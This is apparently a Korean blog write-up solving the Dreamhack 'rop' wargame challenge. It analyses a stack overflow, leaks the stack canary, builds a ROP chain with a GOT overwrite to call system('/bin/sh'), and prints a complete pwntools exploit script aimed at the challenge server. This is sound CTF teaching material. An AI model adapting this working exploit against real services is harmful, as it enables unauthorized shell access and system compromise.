rop 문제 풀이
1. 취약점 확인
1. C언어
checksec 명령어로 취약점을 확인해보자
[*] '/home/gunp4ng/pwnable/Dreamhack/rop/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
x64 아키텍처에 Partial RELRO, Nx-bit, Stack Canary 가 적용된 것을 알 수 있다.
Partial RELRO 가 적용되어 GOT Overwirte 는 할 수 있다.
C 코드를 확인해보자
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
buf 의 크기는 0x30 이지만 read 함수로 0x100 만큼을 입력받아 BOF 가 발생한다.
//Leak canary 부분에서 read 함수로 buf 를 입력받는다
그 다음 printf 함수로 buf 를 출력한다.
→ Canary Leak 기법을 통해 Canary 를 알아낼 수 있다.
그 다음 다시 read 함수로 buf 를 입력받아 ROP 를 할 수 있다.
2. 어셈블리
main 함수의 어셈블리를 살펴보자
Dump of assembler code for function main:
0x00000000004011d6 <+0>: endbr64
0x00000000004011da <+4>: push rbp
0x00000000004011db <+5>: mov rbp,rsp
0x00000000004011de <+8>: sub rsp,0x40
0x00000000004011e2 <+12>: mov rax,QWORD PTR fs:0x28
0x00000000004011eb <+21>: mov QWORD PTR [rbp-0x8],rax
0x00000000004011ef <+25>: xor eax,eax
0x00000000004011f1 <+27>: mov rax,QWORD PTR [rip+0x2e78] # 0x404070 <stdin@GLIBC_2.2.5>
0x00000000004011f8 <+34>: mov ecx,0x0
0x00000000004011fd <+39>: mov edx,0x2
0x0000000000401202 <+44>: mov esi,0x0
0x0000000000401207 <+49>: mov rdi,rax
0x000000000040120a <+52>: call 0x4010e0 <setvbuf@plt>
0x000000000040120f <+57>: mov rax,QWORD PTR [rip+0x2e4a] # 0x404060 <stdout@GLIBC_2.2.5>
0x0000000000401216 <+64>: mov ecx,0x0
0x000000000040121b <+69>: mov edx,0x2
0x0000000000401220 <+74>: mov esi,0x0
0x0000000000401225 <+79>: mov rdi,rax
0x0000000000401228 <+82>: call 0x4010e0 <setvbuf@plt>
0x000000000040122d <+87>: mov edi,0x402004
0x0000000000401232 <+92>: call 0x401090 <puts@plt>
0x0000000000401237 <+97>: mov edx,0x5
0x000000000040123c <+102>: mov esi,0x402014
0x0000000000401241 <+107>: mov edi,0x1
0x0000000000401246 <+112>: call 0x4010a0 <write@plt>
0x000000000040124b <+117>: lea rax,[rbp-0x40]
0x000000000040124f <+121>: mov edx,0x100
0x0000000000401254 <+126>: mov rsi,rax
0x0000000000401257 <+129>: mov edi,0x0
0x000000000040125c <+134>: call 0x4010d0 <read@plt>
0x0000000000401261 <+139>: lea rax,[rbp-0x40]
0x0000000000401265 <+143>: mov rsi,rax
0x0000000000401268 <+146>: mov edi,0x40201a
0x000000000040126d <+151>: mov eax,0x0
0x0000000000401272 <+156>: call 0x4010c0 <printf@plt>
0x0000000000401277 <+161>: mov edi,0x402023
0x000000000040127c <+166>: call 0x401090 <puts@plt>
0x0000000000401281 <+171>: mov edx,0x5
0x0000000000401286 <+176>: mov esi,0x402014
0x000000000040128b <+181>: mov edi,0x1
0x0000000000401290 <+186>: call 0x4010a0 <write@plt>
0x0000000000401295 <+191>: lea rax,[rbp-0x40]
0x0000000000401299 <+195>: mov edx,0x100
0x000000000040129e <+200>: mov rsi,rax
0x00000000004012a1 <+203>: mov edi,0x0
0x00000000004012a6 <+208>: call 0x4010d0 <read@plt>
0x00000000004012ab <+213>: mov eax,0x0
0x00000000004012b0 <+218>: mov rdx,QWORD PTR [rbp-0x8]
0x00000000004012b4 <+222>: sub rdx,QWORD PTR fs:0x28
0x00000000004012bd <+231>: je 0x4012c4 <main+238>
0x00000000004012bf <+233>: call 0x4010b0 <__stack_chk_fail@plt>
0x00000000004012c4 <+238>: leave
0x00000000004012c5 <+239>: ret
End of assembler dump.
buf 는 rbp-0x40 이다
- buf : 0x40
buf 의 크기는 0x40 이다.
하지만 카나리가 포함된 크기이기 때문에 실제 buf 의 크기는 카나리 8byte 를 제외한 0x38 이다.
- buf : 0x38
2. 익스플로잇 구성
1. 익스 플로잇 구성
- write 함수로 read GOT 를 출력한다.
- 출력한 read GOT 를 이용하여 read GOT - read offset 을 빼고 라이브러리 주소를 구한다
- 라이브러리 주소 + system offset 을 하여 system 함수의 주소를 구한다.
- read 함수로 read GOT 영역에 system 함수의 주소를 덮어씌운다 (GOT Overwrite)
- read GOT + 0x8 영역에 "/bin/sh" 입력하기 위해 system 함수의 주소 뒤에 "/bin/sh" 을 추가한다.
- read GOT + 0x8 영역에 있는 "/bin/sh" 을 인자로 read 함수를 호출한다.
2. 카나리 우회
먼저 스택 구조를 살펴보자.
buf 의 크기는 0x40 이다.
하지만 카나리가 포함된 크기이기 때문에 0x8 만큼 뺀 0x38 이 buf 크기이다.
카나리 릭을 하기 위해서는 카나리의 제일 첫 번째 NULL byte 를 덮어씌워야 한다.
0x39 만큼 입력하면 카나리를 알아낼 수 있다.
3. 가젯 주소 구하기
read 함수는 인자 3개를 필요로 한다.
따라서 rdi, rsi, rdx 레지스터의 순서로 인자를 전달 받는다.
pop rdi 가젯의 주소는 0x400853 이다.
pop rsi r15 가젯의 주소는 0x400851 이다.
rdx 레지스터는 함수 실행 후에 초기화 되지 않고 남아있는 경우가 많다.
따라서 pop rdx; ret; 가젯이 없어도 ROP 를 할 수 있다.
ret 가젯의 주소는 0x400596 이다.
x64 환경에서는 함수를 실행할 때 스택이 16byte 로 정렬돼 있어야 한다.
따라서 스택 정렬을 위한 ret 가젯이다.
3. 익스플로잇
1. payload 구성
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
p = remote('host3.dreamhack.games', 14101)
# p = process('./rop', env= {"LD_PRELOAD" : "./libc.so.6"})
e = ELF('./rop')
libc = ELF('./libc.so.6')
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
# gadget
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400596
먼저 위에서 구한 정보들을 입력해주었다.
2. 카나리 릭
buf1 = b'A' * 0x39
p.sendafter('Buf: ', buf1)
# canary leak
p.recvuntil(buf1)
canary = u64(b'\x00' + p.recvn(7))
log.info(f'canary : {hex(canary)}')
buf 에 0x39 만큼 입력하면 카나리를 알아낼 수 있다.
3. ROP
# payload
payload = b'A' * 0x38
payload += p64(canary)
payload += b'A' * 0x8
# write(1, read_got, ...)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(read_got)
payload += p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(read_got)
payload += p64(0)
payload += p64(read_plt)
# read("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter('Buf: ', payload)
알아낸 카나리 값을 이용하여 SFP 까지 덮어씌운다.
그 다음 write 함수를 이용하여 read GOT 를 출력한다.
read 함수를 이용하여 read_GOT 영역에 system 함수의 주소와 "/bin/sh" 을 입력한다.
read_GOT + 0x8 에 있는 "/bin/sh" 을 인자로 read 함수를 호출한다.
4. system 함수 주소 구하기
# libc base
read_addr = u64(p.recvn(8))
libc_base = read_addr - libc.symbols['read']
log.info(f'read : {hex(read_addr)}')
# system
system = libc_base + libc.symbols['system']
log.info(f'system : {hex(system)}')
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
write 로 출력한 read GOT 를 가져온 뒤 read offset 과 빼서 라이브러리 주소를 구한다.
라이브러리 주소에 system offset 을 더해 system 함수의 주소를 구한다.
system 함수의 주소와 "/bin/sh\x00" 을 보낸다.
"/bin/sh" 뒤에 \x00 은 8byte 로 맞춰주기 위한 것이다.
4. payload
1. 전체 payload
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
p = remote('host3.dreamhack.games', 18486)
# p = process('./rop', env= {"LD_PRELOAD" : "./libc.so.6"})
e = ELF('./rop')
libc = ELF('./libc.so.6')
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
# gadget
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400596
buf1 = b'A' * 0x39
p.sendafter('Buf: ', buf1)
# canary leak
p.recvuntil(buf1)
canary = u64(b'\x00' + p.recvn(7))
log.info(f'canary : {hex(canary)}')
# payload
payload = b'A' * 0x38
payload += p64(canary)
payload += b'A' * 0x8
# write(1, read_got, ...)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(read_got)
payload += p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(read_got)
payload += p64(0)
payload += p64(read_plt)
# read("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
# pause()
p.sendafter('Buf: ', payload)
# libc base
read_addr = u64(p.recvn(8))
libc_base = read_addr - libc.symbols['read']
log.info(f'read : {hex(read_addr)}')
# system
system = libc_base + libc.symbols['system']
log.info(f'system : {hex(system)}')
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
전체 payload 이다.
payload 를 실행하면 플래그를 획득할 수 있다.
'War Game > Pwnable' 카테고리의 다른 글
[Dreamhack] basic_rop_x86 (0) | 2024.09.15 |
---|---|
[Dreamhack] basic_rop_x64 (0) | 2024.09.11 |
[Security First] Maze 문제 풀이 (0) | 2024.08.01 |
[Security First] maze_x86 문제풀이 (0) | 2024.07.29 |
[Dreamhack] Return to Libraray (1) | 2024.07.21 |